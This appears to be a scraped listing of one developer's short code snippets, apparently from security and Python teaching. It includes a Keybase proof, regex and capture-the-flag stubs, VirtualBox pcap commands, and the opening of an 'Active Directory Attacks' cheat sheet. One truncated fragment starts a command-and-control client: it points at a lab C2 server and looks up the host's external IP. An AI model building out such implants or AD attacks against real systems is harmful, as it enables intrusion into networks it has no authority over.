ShyftXero

Keybase proof

I hereby claim:

• I am shyftxero on github.
• I am shyftxero (https://keybase.io/shyftxero) on keybase.
• I have a public key ASBq4nm2cczIDpK7slh_DJyecL8tEL87cKvnxg1lrQ_Blwo

To claim this, I am signing this object:

ShyftXero

0=1 1=! 2=i 3=I 4=l 5=L 6=| 7=1! 8=!! 9=i! 10=I! 11=l! 12=L! 13=|! 14=1i 15=!i 16=ii 17=Ii 18=li 19=Li 20=|i 21=1I 22=!I 23=iI 24=II 25=lI 26=LI 27=|I 28=1l 29=!l 30=il 31=Il 32=ll 33=Ll 34=|l 35=1L 36=!L 37=iL 38=IL 39=lL 40=LL 41=|L 42=1| 43=!| 44=i| 45=I| 46=l| 47=L| 48=|| 
--------
-7 -1!
-6 -|
-5 -L
-4 -l
-3 -I
-2 -i
-1 -!
0 1

ShyftXero

#! python3
# phoneAndEmail.py - Finds phone numbers and email addresses on the clipboard.

# Site to test against: https://dese.ade.arkansas.gov/Offices/ar-comp-sci-initiative/statewide-computer-science-specialists

import pyperclip, re

# Create phone number regex with or without area code, but uses a '-' seperator.
phoneRegex = re.compile(r''' EXPRESSION HERE ''', re.VERBOSE)

ShyftXero

import requests
import bs4

# you are searching for a message that starts with 'FLAG{' and ends in '}'
url = 'https://leaky.shyft.us'

sess = requests.session()

ab = [chr(x) for x in range(0, 255) if chr(x).isprintable()]
print(ab)

ShyftXero

Super slick commands for virutalbox machine management

Start / Stop a pcap at the VM level for a guest machine. (not having to route traffic through another box to capture; works in NAT)

• Start pcap
  • vboxmanage controlvm "vm_name_here" nictrace1 on
• Stop pcap
  • vboxmanage controlvm "vm_name_here" nictrace1 off

A file VBox-<5_hex_digits>.pcap will be created. don't know the significance of the digits. They don't seem to be the mac

ShyftXero

import os
from time import sleep

# try:
#     my_animals_file = open('other_animals.txt', 'r')

#     for line in my_animals_file.readlines():
#         print(line.strip() )

#     my_animals_file.close()yword found in text

ShyftXero

# some_bucket = "Eli"

# list_of_people = [ some_bucket, "Thomas Jefferson", "wallace and grommit" ]

# print(list_of_people) ### puts on screen

# list_of_servers = [
#     "webserver 1",
#     "databaseserver 3",
#     "ftp_server",

ShyftXero

# pip3 install -U requests
import requests
import time
import subprocess


C2_SERVER = 'http://10.0.2.15:5000/' # our kali machines IP address

def get_ext_ip():
    response = requests.get('https://ifconfig.me/all.json')

ShyftXero

#!/usr/bin/env python
# Dependencies:
# - arrow
# - shodan
# - ImageMagick
#
# Installation:
# sudo easy_install arrow shodan
# sudo apt-get install imagemagick
#

ShyftXero

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

• Tools
• Most common paths to AD compromise
  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  • Open Shares
• [GPO - Pivoting with Local Admin